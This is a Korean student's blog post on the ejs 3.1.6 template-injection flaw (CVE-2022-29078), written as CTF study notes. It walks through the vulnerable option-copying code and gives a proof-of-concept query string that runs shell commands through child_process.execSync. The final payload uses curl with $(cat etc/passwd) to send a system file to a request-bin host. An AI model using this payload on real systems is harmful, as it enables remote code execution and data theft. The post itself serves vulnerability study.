본문 바로가기
web hacking

ejs 3.1.6 SSTI 취약점 (CVE-2022-29078)

by Jueun7 2023. 9. 30.

ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ

CTF 웹 문제를 봐보면 ssti 취약점 문제가 생각보다 많다.

ssti 문제들의 패키지 파일을 보면 ejs 3.1.6 이나 ejs 3.1.8 등등이 있는 것 같다.

그래서 한번 ejs 3.1.8을 찾아보려니 먼저 ejs 3.1.6 취약점을 공부해보라고 해서 ejs 3.1.6 취약점을 공부한걸 정리해본다

 

취약점 발생 코드

        // Undocumented after Express 2, but still usable, esp. for
        // items that are unsafe to be passed along with data, like `root`
        viewOpts = data.settings['view options'];
        if (viewOpts) {
          utils.shallowCopy(opts, viewOpts);
        }
      }

 

해당 코드 부분을 한줄씩 해석해보면

 

1. data.settings 의 view options를 viewOpts에 할당시킨다.

viewOpts = data.settings['view options'];

 

 

2. viewOpts에 무언가가 할당되어 있으면 if 문이 True가 된다.

        if (viewOpts) {
          utils.shallowCopy(opts, viewOpts);
        }

 

 

3. shallowCopy 함수를 사용해서 opts에 viewOpts를 딕셔너리 형태 {key : value} 로 복사시킨다.

utils.shallowCopy(opts, viewOpts);

여기서 opts에 아무제한 없이 복사하는것이 문제가 된다.

 

 

 

      if (opts.outputFunctionName) {
        if (!_JS_IDENTIFIER.test(opts.outputFunctionName)) {
          throw new Error('outputFunctionName is not a valid JS identifier.');
        }
        prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
      }

prepended에 opts.outputFunctionName을 넣는것을 볼 수 있다.

 

POC

poc 코드를 분석해보면

?settings[view options][outputFunctionName]=a;process.mainModule.require('child_process').execSync("---");

 

settings[view options][outputFunctionName]=a;

if문들을 True처리해주고,

 

process.mainModule.require('child_process')

child_process 모듈을 가져와서 쉘을 만들고, 

 

 

.execSync("---");

이렇게 명령어를 날릴 수 있다.

 

보통은 requests bin에다가 curl 명령어를 통해서 exploit 하는것 같다.

 

curl "http://127.0.0.1:8080/?$(ls -al)"

 아마 이런식으로?

 

최종 POC 코드는

?settings[view options][outputFunctionName]=a;process.mainModule.require('child_process').execSync('curl "http://requestsbin/?$(cat etc/passwd)"');

사실 될지 안될지는 모르겠는ㄷ ㅔ 아마 될것이다.

 

 

 

처음 이런 취약점 공부해봤는데 신기하고 대단하다

나도 나중에 이런식으로 취약점 찾아내서 cve 받아보고싶다.

글고 Js 공부 열심히 해야겠다.

'web hacking' 카테고리의 다른 글

SQL Injection  (0) 2023.09.09
내 web shell은 어디에...  (0) 2023.09.07
file upload 대응은 이게 정석일껄요...?  (0) 2023.09.04
HTML/CSS Injection  (0) 2023.07.28
정보빼가는 SQLi 와 SQLMAP  (0) 2023.07.24